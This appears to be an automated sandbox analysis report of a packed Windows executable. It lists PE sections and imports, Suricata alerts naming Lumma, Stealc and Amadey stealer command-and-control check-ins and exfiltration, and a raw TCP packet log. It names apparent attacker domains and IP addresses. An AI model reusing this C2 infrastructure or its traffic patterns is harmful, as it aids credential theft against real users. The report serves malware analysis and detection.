IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	e00b5aaea5a1f0c4ec7b8d3daca1f223	False	0.9973713077910958	data	7.980897412592947	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a9000	0x200	7a96693395e771ce102b5a9b2b8ac69a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fkrxxztc	0x2fd000	0x19f000	0x19e400	a3c337306ddd26a9ad32770a24c77e05	False	0.9943451314499094	data	7.954971364024604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rrjayidd	0x49c000	0x1000	0x400	c553fccb608288da45f653875ccc06bf	False	0.80859375	data	6.214354613778521	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49d000	0x3000	0x2200	938f7707bc3038d5861c399c8567d460	False	0.06732536764705882	DOS executable (COM)	0.8718345066040204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T07:56:19.446546+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	60297	1.1.1.1	53	UDP
2024-12-19T07:56:19.591402+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	59411	1.1.1.1	53	UDP
2024-12-19T07:56:20.959017+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49730	172.67.179.109	443	TCP
2024-12-19T07:56:20.959017+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.67.179.109	443	TCP
2024-12-19T07:56:21.781207+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.179.109	443	TCP
2024-12-19T07:56:21.781207+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.179.109	443	TCP
2024-12-19T07:56:23.094754+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49731	172.67.179.109	443	TCP
2024-12-19T07:56:23.094754+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.179.109	443	TCP
2024-12-19T07:56:23.938775+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.179.109	443	TCP
2024-12-19T07:56:23.938775+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.179.109	443	TCP
2024-12-19T07:56:25.816524+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49732	172.67.179.109	443	TCP
2024-12-19T07:56:25.816524+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.179.109	443	TCP
2024-12-19T07:56:28.162638+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49733	172.67.179.109	443	TCP
2024-12-19T07:56:28.162638+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.179.109	443	TCP
2024-12-19T07:56:29.064313+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	172.67.179.109	443	TCP
2024-12-19T07:56:30.534818+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49734	172.67.179.109	443	TCP
2024-12-19T07:56:30.534818+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.179.109	443	TCP
2024-12-19T07:56:33.821848+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49735	172.67.179.109	443	TCP
2024-12-19T07:56:33.821848+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.179.109	443	TCP
2024-12-19T07:56:36.651513+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49737	172.67.179.109	443	TCP
2024-12-19T07:56:36.651513+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.179.109	443	TCP
2024-12-19T07:56:42.022462+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49742	172.67.179.109	443	TCP
2024-12-19T07:56:42.022462+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	172.67.179.109	443	TCP
2024-12-19T07:56:43.151399+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	172.67.179.109	443	TCP
2024-12-19T07:56:44.605887+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49744	185.215.113.16	80	TCP
2024-12-19T07:56:58.361879+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-12-19T07:56:58.802732+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-12-19T07:56:58.924239+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49745	TCP
2024-12-19T07:56:59.244460+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-12-19T07:56:59.558231+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49745	TCP
2024-12-19T07:57:00.974017+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-12-19T07:57:01.935688+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-12-19T07:57:18.747134+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:20.633501+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:21.900999+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:22.971791+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:26.432618+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:27.574800+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:33.073591+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49801	185.215.113.16	80	TCP
2024-12-19T07:58:06.547215+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49878	185.215.113.43	80	TCP
2024-12-19T07:58:11.330746+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49890	31.41.244.11	80	TCP
2024-12-19T07:58:15.220006+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49885	TCP
2024-12-19T07:58:16.494454+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.4	62399	1.1.1.1	53	UDP
2024-12-19T07:58:16.554956+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49906	185.215.113.43	80	TCP
2024-12-19T07:58:18.024743+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49907	31.41.244.11	80	TCP
2024-12-19T07:58:18.084467+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49909	172.67.209.202	443	TCP
2024-12-19T07:58:18.084467+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49909	172.67.209.202	443	TCP
2024-12-19T07:58:19.166287+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49909	172.67.209.202	443	TCP
2024-12-19T07:58:19.166287+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49909	172.67.209.202	443	TCP
2024-12-19T07:58:20.388389+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49916	172.67.209.202	443	TCP
2024-12-19T07:58:20.388389+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49916	172.67.209.202	443	TCP
2024-12-19T07:58:21.200416+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49916	172.67.209.202	443	TCP
2024-12-19T07:58:21.200416+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49916	172.67.209.202	443	TCP
2024-12-19T07:58:22.893900+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49925	172.67.209.202	443	TCP
2024-12-19T07:58:22.893900+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49925	172.67.209.202	443	TCP
2024-12-19T07:58:24.046399+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49925	172.67.209.202	443	TCP
2024-12-19T07:58:24.806036+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49929	172.67.180.113	443	TCP
2024-12-19T07:58:25.891760+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49927	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 07:56:19.737448931 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:19.737492085 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:19.737582922 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:19.740952969 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:19.740966082 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:20.834413052 CET	49675	443	192.168.2.4	173.222.162.32
Dec 19, 2024 07:56:20.958802938 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:20.959017038 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:20.962682962 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:20.962692976 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:20.962945938 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:21.006321907 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:21.015091896 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:21.015119076 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:21.015252113 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:21.781208992 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:21.781300068 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:21.781344891 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:21.808578968 CET	49730	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:21.808619022 CET	443	49730	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:21.872167110 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:21.872271061 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:21.872354984 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:21.872668982 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:21.872713089 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.094628096 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.094753981 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.096154928 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.096169949 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.096463919 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.097693920 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.097721100 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.097783089 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.938741922 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.938798904 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.938827038 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.938853025 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.938879013 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.938905954 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.939023972 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.939024925 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.939024925 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.939102888 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.946849108 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.946919918 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.946943998 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.955270052 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:23.955343962 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:23.955359936 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.022047043 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.022099018 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.068902016 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.130692959 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.134354115 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.134434938 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.134434938 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.134483099 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.134533882 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.134542942 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.134589911 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.134639978 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.140165091 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.140193939 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.140207052 CET	49731	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.140213966 CET	443	49731	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.601679087 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.601732016 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:24.601809978 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.602091074 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:24.602102995 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:25.816309929 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:25.816524029 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:25.817755938 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:25.817768097 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:25.818031073 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:25.819370031 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:25.819525957 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:25.819550991 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:25.819600105 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:25.819610119 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:26.843988895 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:26.844084024 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:26.844129086 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:26.844198942 CET	49732	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:26.844216108 CET	443	49732	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:26.939472914 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:26.939528942 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:26.939615011 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:26.939891100 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:26.939907074 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:28.162527084 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:28.162637949 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:28.163902998 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:28.163927078 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:28.164464951 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:28.173074961 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:28.173247099 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:28.173280001 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:29.064323902 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:29.064445019 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:29.064518929 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:29.064636946 CET	49733	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:29.064699888 CET	443	49733	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:29.302145958 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:29.302186966 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:29.302293062 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:29.302691936 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:29.302705050 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:30.534729004 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:30.534817934 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:30.536046982 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:30.536056995 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:30.536390066 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:30.537887096 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:30.538024902 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:30.538055897 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:30.538111925 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:30.538120031 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:31.559489965 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:31.559614897 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:31.559659004 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:31.559739113 CET	49734	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:31.559752941 CET	443	49734	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:32.607625008 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:32.607748985 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:32.607852936 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:32.608232975 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:32.608269930 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:33.821785927 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:33.821847916 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:34.000739098 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:34.000766993 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:34.001140118 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:34.002335072 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:34.002515078 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:34.002518892 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:34.791048050 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:34.791155100 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:34.791196108 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:34.791615963 CET	49735	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:34.791631937 CET	443	49735	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:35.440051079 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:35.440103054 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:35.440172911 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:35.440521955 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:35.440535069 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.651451111 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.651513100 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.652847052 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.652857065 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.653117895 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.654916048 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.655704021 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.655741930 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.655823946 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.655846119 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.655988932 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.656028032 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.656163931 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.656178951 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.656325102 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.656346083 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.656508923 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.656527042 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.656536102 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.656678915 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.656696081 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.703324080 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.703527927 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.703561068 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.703567982 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.747332096 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.747628927 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.747675896 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.747701883 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.791327000 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:36.791402102 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:36.835320950 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:37.290733099 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:39.232832909 CET	49723	80	192.168.2.4	199.232.214.172
Dec 19, 2024 07:56:39.352746010 CET	80	49723	199.232.214.172	192.168.2.4
Dec 19, 2024 07:56:39.352835894 CET	49723	80	192.168.2.4	199.232.214.172
Dec 19, 2024 07:56:40.691163063 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:40.691242933 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:40.691284895 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:40.691708088 CET	49737	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:40.691732883 CET	443	49737	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:40.773343086 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:40.773384094 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:40.773447037 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:40.773720026 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:40.773731947 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:42.022280931 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:42.022461891 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:42.026216030 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:42.026264906 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:42.026576042 CET	443	49742	172.67.179.109	192.168.2.4
Dec 19, 2024 07:56:42.035548925 CET	49742	443	192.168.2.4	172.67.179.109
Dec 19, 2024 07:56:42.035548925 CET	49742	443	192.168.2.4	172.67.179.109
